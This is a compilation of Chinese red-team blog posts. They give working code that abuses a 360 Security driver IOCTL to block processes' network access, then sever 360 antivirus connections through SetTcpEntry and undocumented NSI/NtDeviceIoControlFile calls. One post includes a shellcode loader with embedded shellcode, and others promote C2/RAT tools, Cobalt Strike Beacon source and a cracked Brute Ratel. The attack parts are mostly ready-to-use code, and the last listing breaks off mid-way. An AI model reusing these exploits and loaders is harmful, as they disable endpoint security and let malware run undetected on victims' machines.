以下文章来源于：遐想的小窝

曾专注红队对抗和武器化开发，现懒癌晚期，随缘研究。

闲来无事发个水文，记录一下特殊情况下分析360安全卫士过程中觉得可以公开的一个点。

在对 `360netmon_x64_wfp.sys` 进行逆向工程时，我首先定位到驱动的入口点 `DriverEntry`，发现驱动创建了两个设备对象：

IoCreateDevice(DriverObject, 0, L"\\Device\\360TdiFilter", 0x22u, 0, 0, &deviceObject);
IoCreateSymbolicLink(L"\\DosDevices\\360TdiFilter", L"\\Device\\360TdiFilter");


IoCreateDevice(DriverObject, 0, L"\\Device\\360TdiSpeed", 0x22u, 0, 0, &qword_25320);
IoCreateSymbolicLink(L"\\DosDevices\\360TdiSpeed", L"\\Device\\360TdiSpeed");

这两个设备可以从用户态通过符号链接 `\\\\.\\\\360TdiFilter` 和 `\\\\.\\\\360TdiSpeed` 访问。

这个驱动注册了多个 IRP 处理函数，其中 `IrpMjDeviceControl` 处理函数（地址 `0x12374`）负责处理所有 IOCTL 请求。

在 IrpMjDeviceControl 的入口处，代码仅验证设备对象是否匹配，完全没有调用者身份验证：

123D8: mov rcx, cs:g_pDeviceObject_TdiFilter
123DF: cmp rdi, rcx ; 仅验证设备对象
123E2: jz short loc_12422

既然如此我们就不得不去分析 IOCTL 接口实现进一步的利用。因为我们通过驱动的信息已经知道这个WFP驱动的用途，所以我们的预期就是任意的阻断网络功能。

很快我们的目光就到了 IOCTL 0x220804:身上，我们猜测功能是设置进程网络限速/阻断。于是细细地看了一下。

跟进sub_18BB8方法，我们发现它会：

• 解析用户提供的进程路径

• 在进程hash表中查找或创建进程节点

• 设置进程的限速配置字段

• 如果 qwBlockCnnt 设置为 LLONG_MAX，则完全阻断网络

IOCTL 0x220444 则主要负责WFP 过滤器操作，用来动态添加/删除 WFP 过滤规则，我们直接摸进sub_1D45C。

NTSTATUS __fastcall sub_1D45C(int a1)
{
 NTSTATUS v7;
 char v1, v2, v3, v4;


 // 检查 Windows 版本（仅支持 Win10 1607+）
 if (g_WindowsBuildNumber < 0x23F0) // Build 9200
 return STATUS_NOT_IMPLEMENTED;


 // 检查是否已经是相同模式
 if (dword_6B78C == a1)
 return STATUS_SUCCESS;


 // 检查 WFP 引擎句柄
 if (!engineHandle)
 return STATUS_DEVICE_NOT_READY;


 // 开始 WFP 事务
 v7 = FwpmTransactionBegin0(engineHandle, 0);
 if (v7 < 0)
 return v7;


 if (a1) { // 启用过滤
 // 注册 4 个 WFP Callout (Established V4/V6, Datagram V4/V6)
 v7 = sub_1D1E8(qword_6B790, &xmmword_236D0, &calloutId);
 if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS)
 goto CLEANUP;
 v1 = 1;


 v7 = sub_1D1E8(qword_6B790, &xmmword_236E0, &dword_6B10C);
 if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS)
 goto CLEANUP;
 v2 = 1;


 v7 = sub_1D1E8(qword_6B790, &xmmword_236F0, &dword_6B750);
 if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS)
 goto CLEANUP;
 v3 = 1;


 v7 = sub_1D1E8(qword_6B790, &xmmword_23700, &dword_6B754);
 if (v7 < 0 && v7 != STATUS_FWP_ALREADY_EXISTS)
 goto CLEANUP;
 v4 = 1;


 // 添加 4 个 WFP Filter
 v7 = sub_1CF28(..., engineHandle, 0, &dword_6B7A0);
 // ... (重复为其他3个过滤器)


 } else { // 禁用过滤
 // 删除所有过滤器和 Callout
 v7 = FwpmFilterDeleteById0(engineHandle, id);
 v7 = FwpmFilterDeleteById0(engineHandle, qword_6B7C0);
 v7 = FwpmCalloutDeleteById0(engineHandle, dword_6B7A0);
 // ...


 sub_1E288(); // 清理内部状态
 FwpsCalloutUnregisterById0(calloutId);
 FwpsCalloutUnregisterById0(dword_6B10C);
 FwpsCalloutUnregisterById0(dword_6B750);
 FwpsCalloutUnregisterById0(dword_6B754);
 }


 // 提交 WFP 事务
 v7 = FwpmTransactionCommit0(engineHandle);
 if (v7 >= 0)
 dword_6B78C = a1; // 保存当前模式


CLEANUP:
 if (v7 < 0) {
 // 失败时回滚并清理已注册的 Callout
 if (v1) FwpsCalloutUnregisterById0(calloutId);
 if (v2) FwpsCalloutUnregisterById0(dword_6B10C);
 if (v3) FwpsCalloutUnregisterById0(dword_6B750);
 if (v4) FwpsCalloutUnregisterById0(dword_6B754);
 FwpmTransactionAbort0(engineHandle);
 }


 return v7;
}

也就是说：

• 这玩意儿在 WFP 层级动态注册/注销 Callout 和 Filter

• Callout 在 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4/V6和

• FWPM_LAYER_ALE_AUTH_CONNECT_V4/V6 层拦截

• 没有验证调用者权限，任何管理员进程都可以调用

驱动通过以下流程实现网络阻断：

用户态应用 (Pwn.exe)
 ↓ DeviceIoControl(0x220804, &LIMIT_SPEED)
┌───▼─────────────────────────────┐
│ IrpMjDeviceControl │
│ @ 0x12374 │
└───┬─────────────────────────────┘
 ↓ call sub_18BB8
┌───▼─────────────────────────────┐
│ 解析进程路径并查找哈希表 │
│ LookupProcessInHashTable() │
└───┬─────────────────────────────┘
 ↓ 更新进程节点
┌───▼─────────────────────────────┐
│ ProcessNode->qwBlockCnnt = MAX │
│ ProcessNode->nLimitSend = MAX │
│ ProcessNode->nLimitRecv = MAX │
│ ProcessNode->bCancelFlag = FALSE │
└───┬─────────────────────────────┘
 ↓
 等待目标进程产生网络活动
 ↓
┌───▼─────────────────────────────┐
│ WFP Callout 拦截点 │
│ (网络包发送/接收时触发) │
└───┬─────────────────────────────┘
 ↓ 查询限速配置
┌───▼─────────────────────────────┐
│ if (ProcessNode->qwBlockCnnt │
│ == LLONG_MAX) │
│ return FWP_ACTION_BLOCK; │
└──────────────────────────────────┘
 ↓
 网络包被丢弃，进程无法联网

现在开始搓POC

通过逆向分析和动态调试，我们重建了驱动期望的数据结构：

#pragma pack(push, 4)
typedef struct _PACK {
 WCHAR szNtPath[MAX_PATH + 40]; // +0x000: NT格式路径 (e.g., \WINDOWS\SYSTEM32\NOTEPAD.EXE)
 WCHAR szPath[MAX_PATH]; // +0x228: DOS格式路径 (e.g., C:\Windows\System32\notepad.exe)
 BOOL bCancelFlag; // +0x428: TRUE=解除限制, FALSE=应用限制
 LONGLONG qwBlockCnnt; // +0x430: 阻断计数器 (LLONG_MAX = 完全阻断)
 LONGLONG nLimitSend; // +0x438: 上传速度限制 (字节/秒)
 LONGLONG nLimitRecv; // +0x440: 下载速度限制 (字节/秒)
 DWORD dwZeroCheck; // +0x448: 保留字段 (必须为0)
} PACK, *PPACK;
#pragma pack(pop)

后面的就很简单了，只需要这样那样就可以了:

BOOL BlockProcessNetwork(const WCHAR *szImagePath) {
 HANDLE hDevice;
 PACK ls;
 DWORD dwBytesReturned;


 // 1. 打开驱动设备对象
 hDevice = CreateFileW(
 L"\\\\.\\360TdiFilter",
 GENERIC_READ | GENERIC_WRITE,
 FILE_SHARE_READ | FILE_SHARE_WRITE,
 NULL,
 OPEN_EXISTING,
 0,
 NULL
 );


 if (hDevice == INVALID_HANDLE_VALUE) {
 printf("[!] Failed to open device (Error: %lu)\n", GetLastError());
 return FALSE;
 }


 // 2. 启用驱动监控功能（可选，驱动可能已启用）
 DeviceIoControl(hDevice, 0x220408, NULL, 0, NULL, 0, &dwBytesReturned, NULL);


 // 3. 构造限速/阻断结构体
 ZeroMemory(&ls, sizeof(ls));
 wcsncpy_s(ls.szPath, MAX_PATH, szImagePath, _TRUNCATE);
 ConvertToNtPath(szImagePath, ls.szNtPath); // 转换为NT路径格式


 ls.bCancelFlag = FALSE; // FALSE = 应用限制
 ls.qwBlockCnnt = LLONG_MAX; // 设置为最大值 = 完全阻断
 ls.nLimitSend = LLONG_MAX; // 上传限制 = 无限大
 ls.nLimitRecv = LLONG_MAX; // 下载限制 = 无限大
 ls.dwZeroCheck = 0;


 // 4. 发送 IOCTL 请求
 if (!DeviceIoControl(
 hDevice,
 0x220804, // IOCTL_360TDIFILTER_LIMIT_PROCESS_SPEED
 &ls,
 sizeof(ls),
 NULL,
 0,
 &dwBytesReturned,
 NULL)) {
 printf("[!] DeviceIoControl failed (Error: %lu)\n", GetLastError());
 CloseHandle(hDevice);
 return FALSE;
 }


 printf("[+] Successfully blocked: %S\n", szImagePath);
 CloseHandle(hDevice);
 return TRUE;
}

完整的EXP可以查看我的Github:

https://github.com/kyxiaxiang/360WFP_Exploit

阻断后：

当然了360对自己是加了白名单的，所以银狐们退下吧(/摊手/)

阅读原文

跳转微信打开

以下文章来源于：遐想的小窝

曾专注红队对抗和武器化开发，现懒癌晚期，随缘研究。

实在是无聊极了，正好最近用ImGUI搓一些神秘的玩具比较上头，顺手搓了这么个玩意儿~

主界面预览：

经典优雅（bushi）的界面

监听创建：

客户端生成：

优雅（cucao）的进程伪装（bushi），朴素（jianlou）的数据加密。测试执行效果。

Shell功能吧本来是打算做成完美的交互式，结果自然是懒癌胜利（但是是支持ctrl+C的）。测试支持MemFD：

文件管理：

支持修改时间戳和权限：

端口转发和反向代理：

进程和网络链接：

免责声明

本工具仅供学习和授权测试使用。请勿用于任何非法活动。使用者需对自己的行为负责。

项目地址：https://github.com/kyxiaxiang/MiaoMeow

阅读原文

跳转微信打开

诚招高级渗透工程师一名，JD如图。

跳转微信打开

一鲸落，万物生

我在 GitHub 上公开了 CobaltStrike Beacon 的 C++ 源代码：

🔗 项目地址：
👉 github.com/kyxiaxiang/CobaltStrikeBeaconCppSource

🧭 为什么开源？

我曾从国内某二手平台购入此源码，过程中深感“源码倒卖”之乱象已久——
同样的代码反复售卖、换皮包装、贴牌割韭菜，或以二开，或以教学。一些人靠此轻松牟利，却阻碍了真正的技术交流。

我选择开源，是想打破这种不对等的信息垄断。

一鲸落，万物生。
源码不该成为少数人的私利，而应成为技术共同体的土壤。

🔍 项目亮点

• ✅ 开箱即用的 Beacon 核心源码（C++ 实现）

• ✅ 包含通信框架、加密处理、DLL逻辑等关键部分

• ✅ 可作为自研 C2 框架、红队 Payload 的技术参考

🔧 使用前准备

要编译运行此项目，你需要：

1. 安装 LibTomMath

2. 安装 LibTomCrypt

3. 自行反编译相关 JAR 文件

4. 替换目标 DLL 文件

📌 注：涉及 Java/Native 混合构建流程，请具备基础逆向能力。

🎯 我的初衷

我开源这份项目，是基于以下几点考虑：

• 🌱 促进国产安全工具的透明化与标准化

• 🧠 为网络攻防爱好者、红蓝队员提供真实参考

• 🔍 推动 AV/EDR 行业提升检测与防护能力

• 🤝 为真正热爱安全的人打开更多学习入口

📢 特别声明

本项目仅供合法、合规、安全研究与教育用途使用。

⚠️ 请勿用于非法用途，否则后果自负。本人对此不承担任何责任。

阅读原文

跳转微信打开

在当前高强度的攻防对抗环境中，C2 框架早已不只是一个“可用”工具，而是“致胜”的核心。无论是红队演练、HV

在当前高强度的攻防对抗环境中，C2 框架早已不只是一个“可用”工具，而是“致胜”的核心。无论是红队演练、HVV 对抗，还是日常安全研究与验证，一个稳定、隐蔽、可定制的 C2 系统，都是关键战力。

以上以下内容都是AI写的，除了这一句：雏形项目，但是可以实战使用，适合冲锋、钓鱼等场景，保护后阶段的Beacon、Agent。

🚀 为什么选择 GateSentinel？

🔥 面向实战的设计理念

• 支持 HTTP/HTTPS 双协议通信，自由穿透多种边界环境。

• 通信数据自定义编码与伪装机制，防护规避更进一步。

• 可配置混淆流量包装，模拟 Web 请求，提升隐蔽性。

• 配置热重载，无需重启，实战灵活调度。

• 模块化任务下发机制，支持自定义命令扩展与插件化开发。

🛠️ 轻量高效的技术栈

• 服务端使用 Go 编写，跨平台部署稳定可靠；

• 客户端使用 纯 C 实现，体积小、容易免杀；

• 一键编译 & 打包，轻松部署到冲锋马、测试节点等环境中。

👁️ 面向 HVV/红队使用场景优化

HVV 作战节奏快、目标广、检测敏感——GateSentinel 在稳定性与隐蔽性上双重优化，为你争取每一分成功的可能。

✔️ Web 管理界面轻量、直观、快速响应
✔️ Beacon 端通信包极简设计，便于流量伪装、代理穿透

📦 开源即自由，定制无障碍

我深知，不同作战单位对工具的需求千差万别。GateSentinel 的所有代码已完全开源，支持二次开发、私有部署、深度定制。欢迎各路研究员 fork、扩展、提 PR。

GitHub 地址：
👉 https://github.com/kyxiaxiang/GateSentinel

⚠️ 合规声明

本项目仅供授权测试、教学研究、安全防护模拟使用。严禁用于未授权环境下的网络入侵与数据破坏。开发者不对滥用造成的后果负责。

🧠 与其等待别人打造利器，不如亲自掌握主动权。

加入 GateSentinel，开启你的红队实战新纪元。

📥 立即体验，Fork 即用！

阅读原文

跳转微信打开

起因一位热心股东提供了重要线索奈斯！目标锁定，直接拉回来细品一下，不得不说微步你做的不厚道啊。解压康康一切正

起因一位热心股东提供了重要线索

奈斯！目标锁定，直接拉回来细品一下，不得不说微步你做的不厚道啊。

解压康康一切正常，省略破解的过程。

值得一提新版本的BRC4支持了Windows版本的GUI，虽然我没试过

测试功能一切正常，老样子丢星球（毕竟我破解也要费点脑子）毕竟我没有义务直接公开，坐等别人泄露的我也不怪你，但还是希望可以支持一下。细想一下为什么CS4.11出来了都没有破解CS4.10的消息，东西辗转来之不易，自己想想吧。

简单宣传一下星球，

摆烂红队快乐星球

一个努力打造高质量安全技术为主的交流社区，专注于红蓝对抗最新的前沿技术交流，内有红队和各领域资深的大佬。  本星球分享的内容涉及知识包括但不限于c/cpp语言开发、 web/二进制漏洞分析、驱动开发、rootkit、 shellcode、杀软对抗、内网渗透、编译器、逆向调试技术、学术论文、机器学习、数据分析、程序分析、exp/poc分享、0day学习等。

阅读原文

跳转微信打开

揭秘数字安全产品断网机制：从 SetTcpEntry 到 NsiSetAllParameters

排版心累移步 https://www.notion.so/209c6252b11b802fa69bdde1c05ac01b?source=copy_link   本来打算起名 揭秘数字安全产品断网机制：从 SetTcpEntry 到 NsiSetAllParameters 感觉太装了算了还是低调一点的好。

在当前的安全防护体系中，越来越多的国产安全产品（如数字等）采用“云依赖”模式 —— 核心规则、主动防护、样本查杀全部由云端驱动。根据最新的银狐样本发现小黑们针对数字做了定向断网，一旦失去网络连接，它的“战斗力”将迅速下降。偶然想起来在闲鱼还见到有人卖 所谓的 0day断网，想来也是这种方法。今天来浅浅地剖析一下。透过小小的样本来带各位进行深度的思考，如何最大化的规避。

某度搜索的前几位都是银狐，不做评价~

我们直奔主题 GetTcpTable(2) 和 SetTcpEntry

GetTcpTable2函数 https://learn.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-gettcptable2

GetTcpTable2 用于检索系统当前的 TCP 连接信息（IPv4 和 IPv6），包括连接的本地地址、远程地址、状态等。

原型如下：

IPHLPAPI_DLL_LINKAGE ULONG GetTcpTable2(
  [out]     PMIB_TCPTABLE2 TcpTable,            
  [in, out] PULONG         SizePointer,            
  [in]      BOOL           Order
);

参数说明：

·TcpTable: 指向 MIB_TCPTABLE2 结构体的指针，保存返回的 TCP 表。

·SizePointer: 输入/输出参数，表示缓冲区大小（以字节为单位）。如果缓冲区不够，函数会返回 ERROR_INSUFFICIENT_BUFFER 并通过该参数返回所需大小。

·Order: 是否按照连接的本地地址升序排列。

SetTcpEntry函数 https://learn.microsoft.com/en-us/windows/win32/api/iphlpapi/nf-iphlpapi-settcpentry

SetTcpEntry 用于修改一个现有的 TCP 连接的状态，比如强制关闭连接（改为 DELETE_TCB 状态）。

原型如下：

IPHLPAPI_DLL_LINKAGE DWORD SetTcpEntry(
  [in] PMIB_TCPROW pTcpRow
);

参数说明：

·pTcpRow: 指向 MIB_TCPROW 的指针，用于指定要更改的 TCP 条目。.

通过这两个Api的描述我们就不难猜出银狐是通过获取所有的TCP连接列表，然后筛选特定进程的连接强行关闭，这样就可以 精确地断开某个特定程序所建立的所有网络连接，而不影响其他程序。

实现如下逻辑：

获取某进程的所有 TCP 连接 → 找出其 PID → 遍历连接 → 强制关闭连接。

我们可以简单实现一个Demo验证一下猜想：

#include 
#include 
#include 
#include 
#include 
#include 

#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "Psapi.lib")

std::vector<DWORD> GetPidsByProcessName(const std::wstring& processName){
    std::vector<DWORD> pids;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if(snapshot == INVALID_HANDLE_VALUE){
        return pids;
    }
    PROCESSENTRY32W pe;
    pe.dwSize =sizeof(pe);
    if(!Process32FirstW(snapshot, &pe)){
        CloseHandle(snapshot);
        return pids;
    }
    do{
        if(processName == pe.szExeFile){
            pids.push_back(pe.th32ProcessID);
        }
    }while(Process32NextW(snapshot, &pe));
    CloseHandle(snapshot);
    return pids;
}

void CloseTcpConnectionsByPid(DWORD pid){
    DWORD size =0;
    PMIB_TCPTABLE2 tcpTable =nullptr;

    if(GetTcpTable2(nullptr, &size, TRUE)!= ERROR_INSUFFICIENT_BUFFER){
        return;
    }

    tcpTable =(PMIB_TCPTABLE2)malloc(size);
    if(!tcpTable)return;

    if(GetTcpTable2(tcpTable, &size, TRUE)!= NO_ERROR){
        free(tcpTable);
        return;
    }

    for(DWORD i =0; i < tcpTable->dwNumEntries;++i){
        MIB_TCPROW2& row = tcpTable->table[i];
        if(row.dwOwningPid == pid && row.dwState == MIB_TCP_STATE_ESTAB){
            MIB_TCPROW2 rowToSet = row;
            rowToSet.dwState = MIB_TCP_STATE_DELETE_TCB;
            SetTcpEntry((PMIB_TCPROW)&rowToSet);
        }
    }
    free(tcpTable);
}

int wmain(int argc, wchar_t* argv[]){
    std::vector<std::wstring> targetProcs ={L"360Tray.exe", L"360Safe.exe"};

    while(true){
        for(constauto& procName : targetProcs){
            std::vector<DWORD> pids = GetPidsByProcessName(procName);
            for(DWORD pid : pids){
                CloseTcpConnectionsByPid(pid);
            }
        }
        Sleep(500);
    }

    return0;
}

我们测试一下效果，（需要等一会儿）

我们测试一下是否防御能力变弱：

测试程序代码

#include 
#include 

unsignedchar buf[]=
"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76\x20\x4c\x8b\x0e\x4d"
"\x8b\x09\x4d\x8b\x49\x20\xeb\x63\x41\x8b\x49\x3c\x4d\x31\xff\x41\xb7\x88\x4d\x01"
"\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f\x18\x45\x8b\x77\x20\x4d\x01"
"\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c\x01\xce\x48\x31\xc0\x48\x31"
"\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x44\x39\xc2\x75\xda\x45"
"\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b\x5f\x1c\x4d\x01\xcb\x41\x8b"
"\x04\x8b\x4c\x01\xc8\xc3\xc3\x41\xb8\x98\xfe\x8a\x0e\xe8\x92\xff\xff\xff\x48\x31"
"\xc9\x51\x48\xb9\x63\x61\x6c\x63\x2e\x65\x78\x65\x51\x48\x8d\x0c\x24\x48\x31\xd2"
"\x48\xff\xc2\x48\x83\xec\x28\xff\xd0";

int main(){
    void* exec = VirtualAlloc(nullptr, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(!exec){
        std::cerr <<"[-] VirtualAlloc failed\n";
        return-1;
    }

    memcpy(exec, buf, sizeof(buf));
    std::cout <<"[+] Shellcode copied to memory, creating thread...\n";

    HANDLE thread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)exec, nullptr, 0, nullptr);
    if(!thread){
        std::cerr <<"[-] CreateThread failed\n";
        VirtualFree(exec, 0, MEM_RELEASE);
        return-1;
    }

    WaitForSingleObject(thread, INFINITE);
    std::cout <<"[+] Done\n";

    VirtualFree(exec, 0, MEM_RELEASE);

           getchar();// Wait for user input before exiting
    return0;
}

我们恢复网络试一下

测试一个断网条件下的。。。。

那么我们思考一下如果 SetTcpEntry 被安全产品 Hook 掉（比如通过 API 拦截、Inline Hook），那这条路就走不通了，怎么办 ？我们不妨去看一眼底层的实现重点是看SetTcpEntry

通过反汇编 iphlpapi.dll 中的 SetTcpEntry，可以发现它的底层并不是直接修改 TCP 表，而是依赖了NsiSetAllParameters 这是一个非公开（Undocumented）的 Windows 内部函数，属于 NSI（Network Store Interface）服务的 API 范畴，主要用于设置网络堆栈中的参数。

推断的函数原型如下：

typedef NTSTATUS (NTAPI* NsiSetAllParameters_t)(
    HANDLE NsiHandle,            
    DWORD ObjectIndex,            
    DWORD ObjectType,            
    PVOID InputBuffer,            
    DWORD InputBufferLength,            
    PVOID OutputBuffer,            
    DWORD OutputBufferLength
);

也就是说我们可以手动实现一个 SetTcpEntry 避免使用 SetTcpEntry

我们需要关注一下他的这些参数，比如 NPI_MS_TCP_MODULEID

这是一个 GUID结构，用来标识TCP 协议模块告诉 NsiSetAllParameters 要对哪一类协议数据执行操作。（猜的）

还原就是

BYTE NPI_MS_TCP_MODULEID[]={0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11, 0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC};

正当我准备苦逼的手搓时发现已经有前辈走在前面，再仔细一看，Emmmm以前看过只是失去了记忆。

实现如下：

#include 
#include 
#include 
#include 
#include 
#include 

#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "Psapi.lib")

// Undocumented TCP module ID for NSI (24 bytes)
BYTE NPI_MS_TCP_MODULEID[]={
    0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,            
    0x03, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11,            
    0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC
};

// Structure expected by NsiSetAllParameters to represent a TCP socket
struct TcpKillParamsIPv4 {
    WORD  localAddrFamily;
    WORD  localPort;
    DWORD localAddr;
    BYTE  reserved1[20];

    WORD  remoteAddrFamily;
    WORD  remotePort;
    DWORD remoteAddr;
    BYTE  reserved2[20];
};

// Custom replacement for SetTcpEntry using undocumented NSI API
DWORD MySetTcpEntry(MIB_TCPROW_OWNER_PID* pTcpRow){
    typedef DWORD(WINAPI* NsiSetAllParameters_t)(
        DWORD, DWORD, LPVOID, DWORD, LPVOID, DWORD, LPVOID, DWORD
        );

    // Load NSI module and resolve function
    HMODULE hNsi = LoadLibraryA("nsi.dll");
    if(!hNsi)
        return1;

    NsiSetAllParameters_t pNsiSetAllParameters =
        (NsiSetAllParameters_t)GetProcAddress(hNsi, "NsiSetAllParameters");
    if(!pNsiSetAllParameters)
        return1;

    // Prepare input data for socket termination
    TcpKillParamsIPv4 params ={0};
    params.localAddrFamily = AF_INET;
    params.localPort =(WORD)pTcpRow->dwLocalPort;
    params.localAddr = pTcpRow->dwLocalAddr;
    params.remoteAddrFamily = AF_INET;
    params.remotePort =(WORD)pTcpRow->dwRemotePort;
    params.remoteAddr = pTcpRow->dwRemoteAddr;

    // Issue command to kill the TCP connection
    DWORD result = pNsiSetAllParameters(
        1,                              // Unknown / static
        2,                              // Action code
        (LPVOID)NPI_MS_TCP_MODULEID,   // TCP module identifier
        16,                             // IO code (guessed)
        &params, sizeof(params),       // Input buffer
        nullptr, 0                     // Output buffer (unused)
    );

    return result;
}

std::vector<DWORD> GetPidsByProcessName(const std::wstring& processName){
    std::vector<DWORD> pids;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if(snapshot == INVALID_HANDLE_VALUE){
        wprintf(L"[!] CreateToolhelp32Snapshot failed.\n");
        return pids;
    }

    PROCESSENTRY32W pe;
    pe.dwSize =sizeof(pe);
    if(!Process32FirstW(snapshot, &pe)){
        CloseHandle(snapshot);
        wprintf(L"[!] Process32FirstW failed.\n");
        return pids;
    }

    do{
        if(processName == pe.szExeFile){
            pids.push_back(pe.th32ProcessID);
            wprintf(L"[+] Found process: %s (PID: %lu)\n", pe.szExeFile, pe.th32ProcessID);
        }
    }while(Process32NextW(snapshot, &pe));

    CloseHandle(snapshot);
    return pids;
}

void CloseTcpConnectionsByPid(DWORD pid){
    DWORD size =0;
    PMIB_TCPTABLE2 tcpTable =nullptr;

    if(GetTcpTable2(nullptr, &size, TRUE)!= ERROR_INSUFFICIENT_BUFFER){
        wprintf(L"[!] Failed to query TCP table size.\n");
        return;
    }

    tcpTable =(PMIB_TCPTABLE2)malloc(size);
    if(!tcpTable){
        wprintf(L"[!] Memory allocation failed.\n");
        return;
    }

    if(GetTcpTable2(tcpTable, &size, TRUE)!= NO_ERROR){
        free(tcpTable);
        wprintf(L"[!] Failed to get TCP table.\n");
        return;
    }

    int closedCount =0;
    for(DWORD i =0; i < tcpTable->dwNumEntries;++i){
        MIB_TCPROW2& row = tcpTable->table[i];
        if(row.dwOwningPid == pid && row.dwState == MIB_TCP_STATE_ESTAB){
            MIB_TCPROW2 rowToSet = row;
            rowToSet.dwState = MIB_TCP_STATE_DELETE_TCB;

            DWORD result = MySetTcpEntry((MIB_TCPROW_OWNER_PID*)&row);
            if(result == NO_ERROR){
                closedCount++;
                IN_ADDR localAddr ={ row.dwLocalAddr };
                IN_ADDR remoteAddr ={ row.dwRemoteAddr };
                wprintf(L"    [-] Closed TCP connection: %S:%d -> %S:%d\n",            
                    inet_ntoa(localAddr), ntohs((u_short)row.dwLocalPort),
                    inet_ntoa(remoteAddr), ntohs((u_short)row.dwRemotePort));
            }
            else{
                wprintf(L"    [!] Failed to close connection. Error code: %lu\n", result);
            }
        }
    }

    if(closedCount >0){
        wprintf(L"[=] Closed %d connections for PID %lu\n", closedCount, pid);
    }

    free(tcpTable);
}

int wmain(int argc, wchar_t* argv[]){
    std::vector<std::wstring> targetProcs ={L"360Tray.exe", L"360Safe.exe", L"LiveUpdate360.exe", L"safesvr.exe", L"360leakfixer.exe"};

    wprintf(L"[*] Starting connection monitor...\n");

    while(true){
        for(constauto& procName : targetProcs){
            std::vector<DWORD> pids = GetPidsByProcessName(procName);
            for(DWORD pid : pids){
                CloseTcpConnectionsByPid(pid);
            }
        }
    }

    return0;
}

这样我们进阶实现了略底层的小玩具，试一下效果

依旧可以保持阻断网络。

前面我们调用的是 nsi.dll 中导出的 NsiSetAllParameters。但其实这个函数的本质就是：

构造一个结构体 → 调用 NtDeviceIoControlFile → 与 \.\Nsi 驱动通信 → 让内核修改 TCP 状态

我们现在要做的就是：            
跳过 nsi.dll，完全不依赖其封装，自己来实现这套流程。

这里应该字面意思也可以看明白，我们最终其实是和驱动通讯来完成的TCP连接关闭。

 NsiSetAllParameters 实际上传的是一个 0x48 字节的结构体，组成如下（我瞎写的）：

struct NSI_SET_PARAMETERS_EX {
    PVOID reserved0;     // 0x00
    PVOID reserved1;     // 0x08
    PVOID pModuleId;     // 0x10 - 指向 TCP 模块 ID（GUID结构或BYTE数组）
    DWORD dwIoCode;      // 0x18 - 固定 16
    DWORD dwUnused1;     // 0x1C
    DWORD a1;            // 0x20
    DWORD a2;            // 0x24
    PVOID pInputBuffer;// 0x28
    DWORD cbInputBuffer;// 0x30
    DWORD dwUnused2;     // 0x34
    PVOID pMetricBuffer;// 0x38
    DWORD cbMetricBuffer;// 0x40
    DWORD dwUnused3;     // 0x44
};

我们计划的流程是：

构造 NSI_SET_PARAMETERS_EX →
  调用 NtDeviceIoControlFile →
    操作 \Device\Nsi →
      执行协议堆栈层断网

隐约间我们可以明白：

·Windows 网络栈的 底层通信机制是开放的（设备接口、协议模块）

·只要掌握结构和调用方式，就能控制网络连接的生死

很好这里省略我的悲伤过程，直接上结果：

#include 
#include 
#include 
#include 
#include 
#include 

#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "Psapi.lib")

// ---------------------------------------------
// Dynamic NT Native Function Pointers
// ---------------------------------------------

typedef NTSTATUS(WINAPI* NtDeviceIoControlFile_t)(
    HANDLE, HANDLE, PVOID, PVOID,            
    PVOID, ULONG, PVOID, ULONG, PVOID, ULONG);

typedef NTSTATUS(WINAPI* NtWaitForSingleObject_t)(
    HANDLE, BOOLEAN, PLARGE_INTEGER);

typedef ULONG(WINAPI* RtlNtStatusToDosError_t)(NTSTATUS);

// Global function pointers
NtDeviceIoControlFile_t pNtDeviceIoControlFile =nullptr;
NtWaitForSingleObject_t pNtWaitForSingleObject =nullptr;
RtlNtStatusToDosError_t pRtlNtStatusToDosError =nullptr;

//IO_STATUS_BLOCK
typedefstruct _IO_STATUS_BLOCK {
    union{
        NTSTATUS Status;
        PVOID Pointer;
    };
    ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;

typedefstruct _NSI_SET_PARAMETERS_EX {
    PVOID Reserved0;          // 0x00
    PVOID Reserved1;          // 0x08
    PVOID ModuleId;           // 0x10
    DWORD IoCode;             // 0x18
    DWORD Unused1;            // 0x1C
    DWORD Param1;             // 0x20
    DWORD Param2;             // 0x24
    PVOID InputBuffer;        // 0x28
    DWORD InputBufferSize;    // 0x30
    DWORD Unused2;            // 0x34
    PVOID MetricBuffer;       // 0x38
    DWORD MetricBufferSize;   // 0x40
    DWORD Unused3;            // 0x44
} NSI_SET_PARAMETERS_EX;

bool LoadNtFunctions(){
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    if(!ntdll)returnfalse;

    pNtDeviceIoControlFile =(NtDeviceIoControlFile_t)GetProcAddress(ntdll, "NtDeviceIoControlFile");
    pNtWaitForSingleObject =(NtWaitForSingleObject_t)GetProcAddress(ntdll, "NtWaitForSingleObject");
